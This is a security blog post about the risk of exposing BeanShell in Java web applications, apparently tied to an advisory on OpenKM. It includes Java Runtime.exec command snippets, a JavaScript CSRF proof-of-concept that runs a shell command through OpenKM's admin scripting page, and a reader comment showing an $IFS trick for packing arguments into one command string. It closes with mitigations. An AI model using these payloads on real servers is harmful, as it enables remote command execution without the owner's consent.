Compass Security Blog

Offensive Defense

BeanShell puts Java Application Servers at Risk

Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system calls and without appropriate system hardening such an attack will immediately result in full system compromise.

The BeanShell[1] is an environment that provides execution of Java code snippets in the web application context. The shell supports full Java language syntax and some loose structures for convenience. Be aware, to run code within an Java Virtual Machine (JVM) means to run code on the server. The following screenshot shows BeanShell enabled web application that just run a hello world command.

However, to be able to do some meaningful attacks one must first overcome and understand some limitations of the Java Runtime.getRuntime().exec() method. Simply putting a whole command into the exec method will not run properly since Java will internally tokenize the String and redirect IO streams. The first argument will be taken as executable. All remaining tokens will be passed as parameters to the executable. Thus, the below statement will not work as intended because the “-c” parameter awaits a single argument.

Runtime.getRuntime().exec("/bin/sh -c /bin/echo pwned > /tmp/poc"};

Following that, command injection in Java is a difficult thing to do since the attacker mostly just gains control over the parameters. However, in BeanShell we are pretty free to choose from the whole arsenal of Java API classes and methods. Finally, a correct call would look like:

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);

That way, Java will pass “/bin/echo pwned > /tmp/poc” correctly. Unfortunately, there is another limitation on the IO streams. Thus, to read and process the output of a command the InputStream classes will be needed. The following snippet is a working example with the Unix list directory (ls) command.

import java.io.*;
try {
Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah");
DataInputStream ls_in = new DataInputStream(ls_proc.getInputStream());
String ls_str;
while ((ls_str = ls_in.readLine()) != null)
print(ls_str + " ");
} catch (IOException e) {
}

So, you might be asking yourself how this ex-course on the Runtime class’s exec method is related to BeanShell support in web applications?

I have published an advisory[3] on insufficient access control of an integrated BeanShell in an Enterprise Java (J2EE) based document management system software (OpenKM). An attacker could prepare en evil e-mail or website that runs a malicious command on the server if the OpenKM administrator clicks on the link or visits the prepared website.

For example, an attacker would simply embed the below JavaScript exploit code into a web page to cause writing a proof of concept file into the /tmp folder.

img = new Image();
img.src="http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"

Related vulnerabilities are often seen in administrative interfaces of web apps. The attack scheme is also known as Cross-site Request Forgery or XSRF[4]. There are several ways to approach the issue. Either ensure proper access controls[5] or lock down the JVM using Java security policies and the Security Manager[6]. In the end, system hardening may help limiting collateral damage in case of successful attacks.

References
[1] http://www.beanshell.org/
[2] http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html
[3] http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002_openkm_xsrf_os_command_execution.txt
[4] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
[5] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
[6] http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html

1 Comment

  1. anon

    Eine andere Variante, um sich das Array

    String[] cmd = {“/bin/sh”, “-c”, “/bin/echo pwned > /tmp/poc”};

    zu sparen:

    Man kann man den Internal Field Separator ($IFS, verwendet die Shell zur Trennung von Wörtern für read) verwenden:

    Runtime.getRuntime().exec(“/bin/sh -c /bin/echo${IFS}pwned${IFS}>${IFS}/tmp/poc”);

    Dabei wird ein Leerzeichen eingesetzt:
    $ echo A${IFS}A | xxd
    0000000: 4120 410a A A.

    References: Google Search Appliance ProxyStyleSheet Remote Code Execution – Exploit
    http://www.securityfocus.com/bid/15509/exploit

Leave a Reply to anon Cancel reply

Your email address will not be published. Required fields are marked *